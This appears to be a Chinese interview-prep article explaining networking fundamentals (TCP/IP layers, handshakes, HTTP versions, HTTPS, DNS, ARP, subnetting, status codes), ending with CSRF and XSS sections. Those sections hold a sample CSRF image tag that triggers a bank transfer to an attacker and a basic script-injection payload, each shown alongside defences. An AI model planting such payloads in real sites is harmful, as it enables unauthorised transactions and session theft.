计算机网络面试八股文——30+题深度解析（TCP/IP/HTTP/HTTPS全覆盖）

写在前面：计算机网络是面试必问的基础知识点，本文覆盖 TCP/IP、HTTP/HTTPS、三次握手四次挥手、DNS、ARP、子网掩码、UDP vs TCP 等核心知识点，每题都有「一句话总结 + 深度解析 + 面试加分回答」，帮你彻底搞懂计网面试。

1. 网络模型

Q1：OSI 七层模型和 TCP/IP 四层模型的区别？

一句话总结：OSI 是理论模型（七层），TCP/IP 是实际使用的模型（四层），面试时主要考 TCP/IP。

深度解析：

想象你要给朋友寄一封信：

OSI 七层模型（理论版，太复杂）：
应用层  → 你写的内容
表示层  → 翻译成对方能懂的语言
会话层  → 建立对话连接
传输层  → 选择挂号信还是平信
网络层  → 填写收件地址
数据链路层 → 选择运输公司
物理层  → 实际的运输工具

TCP/IP 四层模型（实际版，简化了）：
应用层  → 你写的内容 + 翻译成对方能懂的语言 + 建立对话连接
传输层  → 选择挂号信还是平信
网络层  → 填写收件地址
网络接口层 → 选择运输公司 + 实际的运输工具

OSI 七层模型：

层级	名称	功能	协议
7	应用层	为用户提供网络服务	HTTP、FTP、SMTP、DNS
6	表示层	数据格式转换、加密解密	SSL/TLS
5	会话层	建立、管理、终止会话	NetBIOS、RPC
4	传输层	端到端通信、可靠传输	TCP、UDP
3	网络层	路由选择、IP 寻址	IP、ICMP、ARP
2	数据链路层	帧传输、MAC 寻址	Ethernet、Wi-Fi
1	物理层	比特流传输	网线、光纤、无线电

TCP/IP 四层模型：

层级	名称	对应 OSI 层级	协议
4	应用层	应用层 + 表示层 + 会话层	HTTP、FTP、DNS
3	传输层	传输层	TCP、UDP
2	网络层	网络层	IP、ICMP
1	网络接口层	数据链路层 + 物理层	Ethernet、Wi-Fi

面试加分回答：

OSI 七层模型是理论模型，实际互联网使用的是 TCP/IP 四层模型。面试时如果说 OSI，要能说清楚每一层的功能和协议；如果说 TCP/IP，要能说清楚每一层的作用。另外，有些资料会把 TCP/IP 分成五层（把网络接口层拆成数据链路层和物理层），这是等价的。

Q2：各层的数据名称是什么？

一句话总结：不同层对数据有不同的叫法，从应用到物理依次是：报文/消息 → 报文段 → 数据报 → 帧 → 比特流。

深度解析：

应用层  → 报文（Message）
传输层  → 报文段（Segment，TCP）或 用户数据报（Datagram，UDP）
网络层  → 数据报（Packet，IP）
数据链路层 → 帧（Frame）
物理层  → 比特流（Bits）

面试加分回答：

数据名称的区分是面试常考题。TCP 的数据叫”报文段”（Segment），IP 的数据叫”数据报”（Packet），以太网的数据叫”帧”（Frame）。这些名称反映了不同层对数据的处理方式。

2. TCP 协议

Q3：TCP 三次握手的过程？

一句话总结：客户端和服务器之间建立连接需要三个步骤：客户端发 SYN → 服务器回 SYN+ACK → 客户端发 ACK。

深度解析：

想象你要和朋友打电话：

第一次握手（SYN）：
你："喂，能听到我说话吗？"（客户端发送 SYN=1，seq=x）
→ 证明客户端发送能力正常

第二次握手（SYN+ACK）：
朋友："能听到，你能听到我说话吗？"（服务器发送 SYN=1，ACK=1，seq=y，ack=x+1）
→ 证明服务器接收和发送能力正常

第三次握手（ACK）：
你："我也能听到你！"（客户端发送 ACK=1，seq=x+1，ack=y+1）
→ 证明客户端接收能力正常

三次握手完成，连接建立，可以开始传输数据了。

为什么要三次握手？两次不行吗？

两次握手的问题：
假设客户端发送了一个 SYN（因为网络延迟，很久才到服务器），
客户端超时重发了新的 SYN，新的连接建立了，
然后旧的 SYN 才到服务器，
服务器以为是新的连接请求，发送 SYN+ACK，
如果是两次握手，服务器就认为连接建立了，
但客户端并不知道这个连接，不会发送数据，
服务器白白等待，浪费资源。

三次握手的好处：
① 防止旧的 SYN 导致服务器误认为连接已建立
② 确认双方的发送和接收能力都正常
③ 同步双方的初始序列号（seq）

面试加分回答：

三次握手的状态变化是面试高频题：

客户端：CLOSED → SYN_SENT → ESTABLISHED

服务器：CLOSED → LISTEN → SYN_RCVD → ESTABLISHED

另外，第三次握手可以携带数据（HTTP 请求），这是 TCP 的”快速打开”（TFO）特性的基础。

Q4：TCP 四次挥手的过程？

一句话总结：断开连接需要四个步骤：客户端发 FIN → 服务器回 ACK → 服务器发 FIN → 客户端回 ACK。

深度解析：

想象你和朋友打电话要挂断：

第一次挥手（FIN）：
你："我说完了，要挂了。"（客户端发送 FIN=1）
→ 客户端不再发送数据，但可以接收数据（半关闭）

第二次挥手（ACK）：
朋友："好的，我知道你要挂了。"（服务器发送 ACK=1）
→ 服务器可能还有数据要发送，所以不立即发 FIN

第三次挥手（FIN）：
朋友："我也说完了，可以挂了。"（服务器发送 FIN=1）
→ 服务器不再发送数据

第四次挥手（ACK）：
你："好的，拜拜。"（客户端发送 ACK=1）
→ 客户端等待 2MSL 后才彻底关闭（确保服务器收到 ACK）

为什么要四次挥手？三次不行吗？

因为 TCP 是全双工的，
客户端发 FIN 只是说"我不再发送数据了"，
但服务器可能还有数据要发送给客户端，
所以服务器要先回 ACK，等数据发完了再发 FIN，
因此需要四次挥手。

如果是三次挥手，那就是服务器把 ACK 和 FIN 合并成一个包发送，
但这要求服务器在收到客户端的 FIN 时，已经没有数据要发送了，
实际中很难保证，所以通常是四次挥手。

什么是 2MSL？为什么需要等待 2MSL？

MSL（Maximum Segment Lifetime）：报文最大生存时间，通常是 2 分钟。
2MSL = 2 倍的最大报文生存时间。

等待 2MSL 的原因：
① 确保服务器能收到客户端的 ACK：
   如果服务器没收到 ACK，会重发 FIN，
   客户端在 2MSL 内还能收到这个重发的 FIN，然后重发 ACK。
② 确保旧连接的数据包在网络中消失：
   防止旧连接的数据包干扰新连接（端口号相同的情况）。

面试加分回答：

四次挥手的状态变化是面试高频题：

客户端：ESTABLISHED → FIN_WAIT_1 → FIN_WAIT_2 → TIME_WAIT → CLOSED

服务器：ESTABLISHED → CLOSE_WAIT → LAST_ACK → CLOSED

TIME_WAIT 状态是面试常考题：如果服务器中有大量 TIME_WAIT 状态的连接，说明服务器主动关闭了大量连接（通常是短连接），可以通过调整内核参数（如 net.ipv4.tcp_tw_reuse）来优化。

Q5：TCP 如何保证可靠传输？

一句话总结：TCP 通过校验和、序列号、确认应答、超时重传、流量控制、拥塞控制六大机制保证可靠传输。

深度解析：

① 校验和（Checksum）：
   发送方计算校验和，接收方验证，
   如果数据在传输过程中损坏，校验和不匹配，接收方会丢弃数据包并要求重传。

② 序列号（Sequence Number）：
   每个字节的数据都有唯一的序列号，
   接收方可以根据序列号重新排序，确保数据按顺序到达。
   也可以识别重复的数据包（序列号相同就是重复的）。

③ 确认应答（ACK）：
   接收方收到数据后，发送 ACK 确认，
   告诉发送方"我已经收到序列号 X 之前的所有数据了"。
   如果发送方在规定时间内没收到 ACK，就会重传。

④ 超时重传（Timeout Retransmission）：
   发送方发送数据后启动定时器，
   如果在定时器到期前没收到 ACK，就重传数据。
   RTT（Round-Trip Time）：往返时间，动态调整超时时间。

⑤ 流量控制（Flow Control）：
   通过滑动窗口机制，接收方告诉发送方自己的接收窗口大小，
   发送方根据接收窗口大小调整发送速度，防止接收方缓冲区溢出。

⑥ 拥塞控制（Congestion Control）：
   通过慢启动、拥塞避免、快重传、快恢复四大算法，
   调整发送方的拥塞窗口大小，防止网络拥塞。

滑动窗口机制：

发送窗口 = min(接收窗口, 拥塞窗口)
- 接收窗口（rwnd）：接收方缓冲区大小，接收方在 ACK 中告知
- 拥塞窗口（cwnd）：发送方根据网络拥塞程度动态调整

发送方可以连续发送窗口内的所有数据包，
不需要每个数据包都等待 ACK，
提高了传输效率。

拥塞控制四大算法：

① 慢启动（Slow Start）：
   初始拥塞窗口 cwnd = 1 MSS（最大报文段），
   每收到一个 ACK，cwnd 翻倍（指数增长），
   直到达到慢启动阈值（ssthresh）。

② 拥塞避免（Congestion Avoidance）：
   当 cwnd >= ssthresh 时，进入拥塞避免阶段，
   每收到一个 ACK，cwnd 增加 1 MSS（线性增长）。

③ 快重传（Fast Retransmit）：
   如果发送方收到 3 个重复的 ACK，
   就认为数据包丢失了，立即重传（不需要等定时器到期）。

④ 快恢复（Fast Recovery）：
   快重传后，ssthresh = cwnd / 2，cwnd = ssthresh + 3 MSS，
   直接进入拥塞避免阶段（而不是慢启动）。

面试加分回答：

TCP 的可靠传输机制是面试超级高频题。要能说清楚：① 校验和 ② 序列号 ③ 确认应答 ④ 超时重传 ⑤ 流量控制（滑动窗口）⑥ 拥塞控制（四大算法）。其中拥塞控制的四大算法（慢启动、拥塞避免、快重传、快恢复）是重点，要能说清楚每个算法的作用。

Q6：TCP 和 UDP 的区别？

一句话总结：TCP 是可靠、面向连接、有序、慢的传输协议，UDP 是不可靠、无连接、无序、快的传输协议。

深度解析：

对比项	TCP	UDP
是否连接	面向连接（三次握手）	无连接
是否可靠	可靠（确认应答、重传）	不可靠（尽最大努力交付）
是否有序	有序（序列号重新排序）	无序（可能乱序到达）
传输效率	慢（建立连接、确认、重传）	快（无连接、无确认）
流量控制	有（滑动窗口）	无
拥塞控制	有（四大算法）	无
首部开销	大（20-60 字节）	小（8 字节）
适用场景	文件传输、邮件、HTTP	视频通话、直播、DNS、DHCP

面试加分回答：

TCP 和 UDP 的区别是面试必考题。要能从连接性、可靠性、有序性、效率、首部开销等多个维度对比。另外，有些场景会同时使用 TCP 和 UDP，比如 HTTP/3 基于 QUIC 协议（基于 UDP），既保留了 UDP 的快，又通过 QUIC 实现了可靠传输（类似 TCP 的功能）。

3. UDP 协议

Q7：UDP 的应用场景有哪些？

一句话总结：UDP 适合实时性要求高、能容忍少量丢包的场景，比如视频通话、直播、DNS、DHCP。

深度解析：

应用场景：
① 视频通话、直播：
   实时性要求高，丢几帧画面不影响观看体验，
   如果用 TCP，丢包后要重传，会导致延迟增加。

② DNS 查询：
   DNS 查询通常是小数据包（请求和响应都很小），
   用 TCP 的话，建立连接的开销太大，
   用 UDP 更快（虽然可能丢包，但可以重试）。

③ DHCP：
   客户端在获取 IP 地址时，还没有 IP 地址，
   无法使用 TCP（TCP 需要 IP 地址），
   只能用 UDP 广播。

④ 在线游戏：
   实时性要求高，丢几个数据包影响不大，
   游戏通常会自己实现可靠传输机制（只在必要时重传）。

⑤ QUIC 协议（HTTP/3）：
   基于 UDP 实现了可靠传输、拥塞控制等功能，
   既保留了 UDP 的快，又解决了 UDP 的不可靠问题。

面试加分回答：

UDP 不是”完全不可靠”，而是”尽最大努力交付”。应用层可以自己在 UDP 基础上实现可靠传输机制（比如 QUIC 协议）。面试时如果能说出”UDP 适用于实时性要求高的场景，应用层可以自己实现可靠传输”，会非常加分。

4. HTTP 协议

Q8：HTTP 的请求方法有哪些？

一句话总结：HTTP/1.1 定义了 8 种请求方法，最常用的是 GET、POST、PUT、DELETE（RESTful 风格）。

深度解析：

方法	作用	幂等性	安全性
GET	获取资源	是	是
POST	创建资源	否	否
PUT	更新资源（全量）	是	否
PATCH	更新资源（部分）	否	否
DELETE	删除资源	是	否
HEAD	获取响应头（不返回 body）	是	是
OPTIONS	获取服务器支持的方法	是	是
TRACE	回显服务器收到的请求（用于调试）	是	否

幂等性：多次执行相同的操作，结果相同（比如 GET、PUT、DELETE 是幂等的，POST 不是）。

安全性：不会修改服务器资源（比如 GET、HEAD、OPTIONS 是安全的，POST、PUT、DELETE 不是）。

面试加分回答：

RESTful 风格的核心是”URL 表示资源，HTTP 方法表示操作”。面试时如果能说出 Richardson 成熟度模型（Level 0~3），会非常加分。另外，PUT 和 PATCH 的区别是：PUT 是全量更新（客户端提供完整的资源），PATCH 是部分更新（客户端只提供需要修改的字段）。

Q9：HTTP 的请求结构和响应结构？

一句话总结：HTTP 请求/响应由起始行、请求头/响应头、空行、消息体四部分组成。

深度解析：

HTTP 请求结构：

POST /api/users HTTP/1.1          ← 请求行（方法 + URL + 版本）
Host: example.com                ← 请求头
Content-Type: application/json
Content-Length: 123
                                  ← 空行（表示请求头结束）
{"name": "张三", "age": 25}      ← 请求体（可选）

HTTP 响应结构：

HTTP/1.1 200 OK                    ← 状态行（版本 + 状态码 + 原因短语）
Content-Type: application/json     ← 响应头
Content-Length: 456
                                    ← 空行（表示响应头结束）
{"id": 1, "name": "张三"}         ← 响应体（可选）

常见请求头：

请求头	作用
Host	指定服务器域名和端口
User-Agent	客户端信息（浏览器版本等）
Accept	客户端能接受的响应内容类型
Content-Type	请求体的媒体类型
Authorization	认证信息（Token、Basic Auth 等）
Cookie	客户端存储的 Cookie
Referer	请求来源页面
Connection	连接方式（keep-alive 或 close）

常见响应头：

响应头	作用
Content-Type	响应体的媒体类型
Content-Length	响应体长度
Set-Cookie	设置 Cookie
Cache-Control	缓存控制
Location	重定向地址（3xx 状态码时使用）
WWW-Authenticate	认证方式（401 状态码时使用）

面试加分回答：

HTTP 是无状态的协议（每个请求都是独立的），所以需要用 Cookie/Session 来维护状态。面试时如果能说出”HTTP/1.1 默认开启 keep-alive（长连接），一个 TCP 连接可以发送多个 HTTP 请求”，会非常加分。

Q10：HTTP/1.0、HTTP/1.1、HTTP/2.0、HTTP/3.0 的区别？

一句话总结：HTTP/1.1 支持了长连接和管道化，HTTP/2.0 支持了多路复用和头部压缩，HTTP/3.0 基于 UDP（QUIC 协议） 解决了队头阻塞问题。

深度解析：

版本	主要特性	存在的问题
HTTP/1.0	短连接（每个请求都要建立 TCP 连接）	连接建立开销大
HTTP/1.1	长连接（keep-alive）、管道化（可同时发多个请求）	队头阻塞（一个请求慢，后续请求都要等）
HTTP/2.0	多路复用（一个 TCP 连接可并发多个请求）、头部压缩、服务器推送	TCP 队头阻塞（丢包时，所有请求都要等）
HTTP/3.0	基于 UDP（QUIC 协议）、无队头阻塞、连接迁移	部署成本高（需要 UDP 支持）

队头阻塞问题：

HTTP/1.1 的队头阻塞：
客户端发送了 3 个请求（A、B、C），
如果请求 A 的处理很慢，请求 B 和 C 也要等 A 处理完才能收到响应。

HTTP/2.0 的多路复用解决了 HTTP 层的队头阻塞，
但 TCP 层的队头阻塞还存在：
如果 TCP 丢了一个数据包，所有 HTTP/2.0 的请求都要等这个数据包重传。

HTTP/3.0 基于 UDP（QUIC 协议），
如果丢了一个数据包，只影响那个特定的请求，
其他请求不受影响，彻底解决了队头阻塞问题。

面试加分回答：

HTTP/2.0 的多路复用是”解决了 HTTP 层的队头阻塞，但 TCP 层的队头阻塞还在”。HTTP/3.0 基于 QUIC 协议（Google 开发），彻底解决了队头阻塞问题。面试时如果能说出”HTTP/3.0 的连接迁移特性（客户端切换网络时，连接不中断）”，会非常加分。

5. HTTPS 协议

Q11：HTTPS 的工作原理？

一句话总结：HTTPS = HTTP + SSL/TLS，通过非对称加密交换会话密钥，然后用对称加密传输数据，既安全又高效。

深度解析：

HTTPS 握手过程（简化版）：
① 客户端发送 ClientHello：
   - 支持的 SSL/TLS 版本
   - 支持的加密算法
   - 随机数 A

② 服务器发送 ServerHello：
   - 确定的 SSL/TLS 版本
   - 确定的加密算法
   - 随机数 B
   - 服务器的证书（包含公钥）

③ 客户端验证证书：
   - 验证证书是否可信（是否是 CA 签发的）
   - 验证证书是否过期
   - 验证证书中的域名是否匹配

④ 客户端生成会话密钥：
   - 用服务器的公钥加密会话密钥（随机数 C）
   - 发送给服务器。

⑤ 服务器用私钥解密，得到会话密钥。

⑥ 双方用会话密钥（对称加密）进行后续通信

为什么要用对称加密？为什么不直接用非对称加密？

非对称加密（RSA、ECC）很慢（比对称加密慢 100~1000 倍），
如果直接用非对称加密传输数据，性能会很差。

所以 HTTPS 先用非对称加密交换会话密钥（只做一次，开销小），
然后用对称加密传输数据（速度快）。

面试加分回答：

HTTPS 握手过程中，证书验证是重点。证书由 CA（证书颁发机构）签发，客户端内置了可信 CA 的根证书，用根证书验证服务器证书的有效性。另外，HTTPS 默认端口是 443，HTTP 默认端口是 80。

Q12：对称加密和非对称加密的区别？

一句话总结：对称加密用同一个密钥加解密（快），非对称加密用公钥加密、私钥解密（慢，但安全）。

深度解析：

对比项	对称加密	非对称加密
密钥	同一个密钥（加密解密都用它）	公钥 + 私钥（公钥加密，私钥解密）
速度	快	慢（100~1000 倍）
安全性	密钥分发困难（如何安全地把密钥传给对方？）	更安全（公钥可以公开，私钥保密）
常见算法	AES、DES、3DES	RSA、ECC、DSA

HTTPS 中的使用：

① 用非对称加密交换会话密钥：
   客户端生成会话密钥，用服务器的公钥加密，发送给服务器，
   服务器用私钥解密，得到会话密钥。

② 用对称加密传输数据：
   双方用会话密钥（对称加密）进行后续通信。

面试加分回答：

对称加密的密钥分发问题是”如何用不安全的方式安全地传递密钥”，这是密码学中的经典问题。非对称加密解决了这个问题（公钥可以公开传输，私钥保密）。但实际中，非对称加密很慢，所以 HTTPS 结合了两者的优点。

6. DNS 协议

Q13：DNS 的解析过程？

一句话总结：DNS 解析是递归查询 + 迭代查询结合的过程，从浏览器缓存到本地 DNS 服务器，再到根域名服务器，最终找到目标 IP 地址。

深度解析：

DNS 解析全过程（详细版）：
① 浏览器缓存：
   浏览器会缓存 DNS 解析结果（通常 60 秒）。

② 操作系统缓存：
   如果浏览器缓存没有，查操作系统的 DNS 缓存（Windows 用 ipconfig /displaydns 查看）。

③ hosts 文件：
   如果操作系统缓存没有，查 hosts 文件（C:\Windows\System32\drivers\etc\hosts）。

④ 本地 DNS 服务器（递归查询）：
   如果前面都没有，向本地 DNS 服务器（通常是 ISP 提供的，或者公共 DNS 如 8.8.8.8）发起查询。
   本地 DNS 服务器会帮客户端完成后续的迭代查询。

⑤ 根域名服务器（迭代查询）：
   本地 DNS 服务器向根域名服务器（.）查询，
   根域名服务器返回顶级域名服务器（.com）的地址。

⑥ 顶级域名服务器（迭代查询）：
   本地 DNS 服务器向顶级域名服务器（.com）查询，
   顶级域名服务器返回权威域名服务器（example.com）的地址。

⑦ 权威域名服务器（迭代查询）：
   本地 DNS 服务器向权威域名服务器（example.com）查询，
   权威域名服务器返回目标域名（www.example.com）的 IP 地址。

⑧ 本地 DNS 服务器把 IP 地址返回给客户端，并缓存结果。

⑨ 客户端收到 IP 地址，开始发送 HTTP 请求。

递归查询 vs 迭代查询：

递归查询：
客户端："帮我查 www.example.com 的 IP 地址，查到了再告诉我。"
本地 DNS 服务器："好的，我帮你查。"
→ 客户端只需要发一次请求，等待结果即可。

迭代查询：
本地 DNS 服务器："根域名服务器，www.example.com 的 IP 是多少？"
根域名服务器："我不知道，你去问顶级域名服务器（.com）吧，这是它的地址。"
本地 DNS 服务器："顶级域名服务器，www.example.com 的 IP 是多少？"
顶级域名服务器："我不知道，你去问权威域名服务器（example.com）吧，这是它的地址。"
本地 DNS 服务器："权威域名服务器，www.example.com 的 IP 是多少？"
权威域名服务器："是 93.184.216.34。"
→ 本地 DNS 服务器需要多次查询，每次根据返回的结果查询下一个服务器。

面试加分回答：

DNS 解析过程是面试高频题。要能说清楚：① 浏览器缓存 ② 操作系统缓存 ③ hosts 文件 ④ 本地 DNS 服务器（递归查询）⑤ 根域名服务器 → 顶级域名服务器 → 权威域名服务器（迭代查询）。另外，DNS 默认用 UDP（端口 53），但如果响应数据超过 512 字节，会用 TCP。

7. ARP 协议

Q14：ARP 协议的作用和工作原理？

一句话总结：ARP（地址解析协议）用于根据 IP 地址获取 MAC 地址，解决”我知道你的 IP，但不知道你的 MAC 地址”的问题。

深度解析：

ARP 工作流程：
① 主机 A（192.168.1.100）想和主机 B（192.168.1.200）通信，
   但只知道 B 的 IP 地址，不知道 B 的 MAC 地址。

② 主机 A 检查自己的 ARP 缓存表，
   看有没有 192.168.1.200 对应的 MAC 地址。

③ 如果缓存表没有，主机 A 广播 ARP 请求：
   "谁的 IP 地址是 192.168.1.200？请告诉我你的 MAC 地址。"

④ 主机 B 收到 ARP 请求，发现是自己的 IP 地址，
   单播 ARP 响应："我是 192.168.1.200，我的 MAC 地址是 xx:xx:xx:xx:xx:xx。"

⑤ 主机 A 收到 ARP 响应，把主机 B 的 IP-MAC 映射存入 ARP 缓存表。

⑥ 后续通信直接查 ARP 缓存表，不需要再发 ARP 请求。

ARP 缓存表：

主机 A 的 ARP 缓存表：
IP 地址          MAC 地址            类型
192.168.1.1    00:11:22:33:44:55  动态（通过学习获得，超时后删除）
192.168.1.200  aa:bb:cc:dd:ee:ff  动态

静态 ARP 条目：手动配置的，不会超时删除（用于防止 ARP 欺骗）。
动态 ARP 条目：通过学习获得的，通常有超时时间（如 2 分钟）。

面试加分回答：

ARP 欺骗（ARP Spoofing）是常见的中间人攻击：攻击者发送伪造的 ARP 响应，告诉主机 A”我是 192.168.1.1（网关）”，告诉主机 B”我是 192.168.1.200”，这样主机 A 和 B 的通信都会经过攻击者。防御方法：使用静态 ARP、开启 ARP 检查（DAI）等。

8. IP 协议与子网

Q15：IP 地址的分类？

一句话总结：IP 地址分为 A、B、C、D、E 五类，其中 A、B、C 是常用类，D 类用于组播，E 类保留。

深度解析：

分类	首字节范围	网络号长度	主机号长度	适用场景
A 类	1~126	8 位（第一段）	24 位（后三段）	大型网络（政府、大企业）
B 类	128~191	16 位（前两段）	16 位（后两段）	中型网络（大学、中型企业）
C 类	192~223	24 位（前三段）	8 位（最后一段）	小型网络（家庭、小型企业）
D 类	224~239	用于组播（Multicast）	-	一对多通信（视频会议等）
E 类	240~255	保留（未使用）	-	实验用途

特殊 IP 地址：

127.0.0.1：回环地址（Loopback），用于本机通信测试。
0.0.0.0：表示"任意地址"或"默认路由"。
255.255.255.255：广播地址。
私有 IP 地址（不在公网路由）：
   - 10.0.0.0 ~ 10.255.255.255（A 类私有）
   - 172.16.0.0 ~ 172.31.255.255（B 类私有）
   - 192.168.0.0 ~ 192.168.255.255（C 类私有）

面试加分回答：

IP 地址分类是现代互联网的早期设计，但浪费严重（比如 B 类网络有 65534 个主机地址，但大多数企业用不完）。现代互联网使用 CIDR（无类别域间路由）来代替分类，可以灵活分配网络前缀长度（如 192.168.1.0/24 表示前 24 位是网络号）。

Q16：子网掩码的作用？如何计算子网？

一句话总结：子网掩码用于区分 IP 地址的网络号和主机号，通过借位可以把一个大网络划分成多个小网络（子网）。

深度解析：

子网掩码的作用：
IP 地址：192.168.1.100  → 11000000.10101000.00000001.01100100
子网掩码：255.255.255.0  → 11111111.11111111.11111111.00000000
                      AND 运算
网络地址：192.168.1.0    → 11000000.10101000.00000001.00000000
                      （网络号）          （主机号）

子网掩码中，1 的部分对应网络号，0 的部分对应主机号。

CIDR 表示法：

192.168.1.0/24：表示前 24 位是网络号，后 8 位是主机号。
子网掩码是 255.255.255.0。

192.168.1.0/25：表示前 25 位是网络号，后 7 位是主机号。
子网掩码是 255.255.255.128。
可以划分 2 个子网：
   - 192.168.1.0 ~ 192.168.1.127
   - 192.168.1.128 ~ 192.168.1.255

子网划分计算：

例子：把 192.168.1.0/24 划分成 4 个子网。
① 需要借 2 位（2^2 = 4 个子网）。
② 新的子网掩码是 /26（24 + 2 = 26），即 255.255.255.192。
③ 4 个子网：
   - 子网 1：192.168.1.0 ~ 192.168.1.63（网络地址：192.168.1.0）
   - 子网 2：192.168.1.64 ~ 192.168.1.127（网络地址：192.168.1.64）
   - 子网 3：192.168.1.128 ~ 192.168.1.191（网络地址：192.168.1.128）
   - 子网 4：192.168.1.192 ~ 192.168.1.255（网络地址：192.168.1.192）

面试加分回答：

子网划分是面试常考题。要能计算：① 给定 IP 地址和子网掩码，求网络地址 ② 给定网络地址和需要的主机数，求子网掩码 ③ 给定网络地址和子网数，求每个子网的范围。另外，全 0 和全 1 的主机号通常不使用（全 0 是网络地址，全 1 是广播地址），所以可用主机数 = 2^主机号位数 - 2。

9. HTTP 状态码

Q17：常见的 HTTP 状态码有哪些？

一句话总结：HTTP 状态码分为 1xx（信息）、2xx（成功）、3xx（重定向）、4xx（客户端错误）、5xx（服务器错误） 五类。

深度解析：

2xx 成功：

状态码	原因短语	说明
200	OK	请求成功
201	Created	资源创建成功（POST 请求）
204	No Content	请求成功，但无返回内容（DELETE 请求）
206	Partial Content	部分内容（断点续传）

3xx 重定向：

状态码	原因短语	说明
301	Moved Permanently	永久重定向（搜索引擎会更新索引）
302	Found	临时重定向（搜索引擎不会更新索引）
304	Not Modified	资源未修改（使用缓存）
307	Temporary Redirect	临时重定向（不允许改变请求方法）
308	Permanent Redirect	永久重定向（不允许改变请求方法）

4xx 客户端错误：

状态码	原因短语	说明
400	Bad Request	请求语法错误
401	Unauthorized	未认证（需要登录）
403	Forbidden	无权限（登录了但没权限）
404	Not Found	资源不存在
405	Method Not Allowed	请求方法不允许（比如用 POST 访问只支持 GET 的接口）
409	Conflict	资源冲突（比如重复创建）
429	Too Many Requests	请求过于频繁（限流）

5xx 服务器错误：

状态码	原因短语	说明
500	Internal Server Error	服务器内部错误
502	Bad Gateway	网关错误（上游服务器返回无效响应）
503	Service Unavailable	服务不可用（过载或维护中）
504	Gateway Timeout	网关超时（上游服务器响应超时）

面试加分回答：

301 和 302 的区别是：301 是永久重定向（浏览器会缓存重定向地址，下次直接访问新地址），302 是临时重定向（浏览器不会缓存）。另外，401 和 403 的区别是：401 是”未认证”（用户没登录），403 是”无权限”（用户登录了，但没有权限访问这个资源）。

一句话总结：Cookie 是客户端存储会话信息，Session 是服务器存储会话信息，Session 通常依赖 Cookie 传递 SessionID。

深度解析：

Cookie：
- 存储在客户端（浏览器）
- 每次请求都会自动带上 Cookie（在请求头的 Cookie 字段）
- 大小限制（约 4KB）
- 可以被客户端修改（不安全，需要签名或加密）
- 可以设置过期时间（持久化 Cookie）或会话 Cookie（浏览器关闭就删除）

Session：
- 存储在服务器（内存、Redis 等）
- 客户端只存储 SessionID（通常通过 Cookie 传递）
- 大小无限制（取决于服务器内存）
- 不能被客户端直接修改（安全）
- 通常有过期时间（如 30 分钟无活动就失效）

Session 的工作流程：

① 客户端第一次访问服务器，服务器创建 Session，
   生成 SessionID，把 SessionID 通过 Cookie 返回给客户端。

② 客户端后续请求会自动带上 Cookie（包含 SessionID）。

③ 服务器根据 SessionID 找到对应的 Session，获取会话信息。

④ 如果 Session 过期或失效，服务器创建新的 Session。

如果客户端禁用 Cookie，Session 还能用吗？

可以用，但需要把 SessionID 放在 URL 中传递（URL 重写）：
http://example.com/path;jsessionid=ABC123

但这种方式不安全（URL 会被记录在浏览器历史、服务器日志中），
现代网站通常不推荐这种方式，而是用 Token（如 JWT）来代替 Session。

面试加分回答：

Cookie 和 Session 的区别是面试必考题。要能说清楚：① 存储位置 ② 安全性 ③ 大小限制 ④ 过期策略。另外，分布式系统中，Session 需要存储在 Redis 等集中式存储中（Session 共享），或者改用 JWT（JSON Web Token）来实现无状态认证。

11. 网络安全

Q19：什么是 CSRF 攻击？如何防御？

一句话总结：CSRF（跨站请求伪造）是攻击者诱导用户点击恶意链接，利用用户的登录状态发起恶意请求，防御方法是验证 Referer、使用 CSRF Token、双重 Cookie 验证。

深度解析：

CSRF 攻击流程：
① 用户登录了银行网站（www.bank.com），
   银行网站设置了 Cookie（包含用户身份信息）。

② 攻击者构造了一个恶意网页，
   里面有一个表单（或图片标签）会自动提交到银行网站：
   <img src="http://www.bank.com/transfer?to=attacker&amount=10000">

③ 用户访问了攻击者的恶意网页，
   浏览器会自动带上银行网站的 Cookie，
   银行网站以为这是用户的合法请求，执行了转账操作。

④ 攻击成功（用户不知情的情况下，钱被转走了）。

防御方法：

① 验证 Referer：
   检查请求来源（Referer 头）是否是合法的域名。
   但 Referer 可以被伪造（某些情况下不会发送 Referer），
   所以这只是辅助手段。

② 使用 CSRF Token：
   服务器生成一个随机的 CSRF Token，
   嵌入到表单中（隐藏字段）或 HTTP 头中，
   提交请求时，服务器验证 CSRF Token 是否正确。
   攻击者无法获取 CSRF Token（同源策略限制），所以无法构造合法请求。

③ 双重 Cookie 验证：
   提交请求时，除了 Cookie，还要在请求参数中带上 Cookie 中的某个值，
   服务器验证两者是否匹配。
   攻击者无法读取 Cookie（同源策略限制），所以无法构造合法请求。

④ SameSite Cookie 属性：
   设置 Cookie 的 SameSite 属性为 Strict 或 Lax，
   限制 Cookie 在跨站请求中不被发送。

面试加分回答：

CSRF 和 XSS 的区别是：CSRF 是利用用户的登录状态发起恶意请求（用户不知情），XSS 是注入恶意脚本到网站中（其他用户访问时，脚本在他们的浏览器中执行）。防御 CSRF 的核心是”验证请求是否来自合法的用户操作”，防御 XSS 的核心是”对用户输入进行转义”。

Q20：什么是 XSS 攻击？如何防御？

一句话总结：XSS（跨站脚本攻击）是攻击者注入恶意脚本到网站中，其他用户访问时，脚本在他们的浏览器中执行，防御方法是对用户输入进行转义、使用 CSP、HttpOnly Cookie。

深度解析：

XSS 攻击流程：
① 攻击者在评论区输入恶意脚本：
   <script>alert('XSS')</script>
   或者更复杂的脚本（窃取 Cookie、钓鱼等）。

② 网站没有对用户输入进行转义，直接把恶意脚本存储到数据库中。

③ 其他用户访问这个页面时，
   浏览器会执行恶意脚本（因为脚本是网站返回的，浏览器认为是合法的）。

④ 攻击成功（恶意脚本可以窃取用户的 Cookie、模拟用户操作等）。

XSS 的类型：

① 存储型 XSS（Stored XSS）：
   恶意脚本被存储到服务器（如数据库），
   其他用户访问时，服务器返回包含恶意脚本的页面。
   → 危害最大（影响所有访问该页面的用户）。

② 反射型 XSS（Reflected XSS）：
   恶意脚本不在服务器存储，
   攻击者构造一个包含恶意脚本的 URL，
   诱导用户点击，服务器"反射"这个脚本给用户。
   → 危害较小（需要诱导用户点击恶意 URL）。

③ DOM 型 XSS（DOM-based XSS）：
   恶意脚本通过修改页面的 DOM 结构来执行，
   不经过服务器（完全在客户端发生）。
   → 较难防御（需要小心处理客户端代码）。

防御方法：

① 对用户输入进行转义：
   把特殊字符（如 <、>、&、"、'）转义成 HTML 实体
   （如 < 转义成 &lt;，> 转义成 &gt;）。

② 使用 CSP（Content Security Policy）：
   通过 HTTP 头 Content-Security-Policy 限制页面可以加载的资源，
   比如只允许加载同源的脚本，禁止内联脚本等。

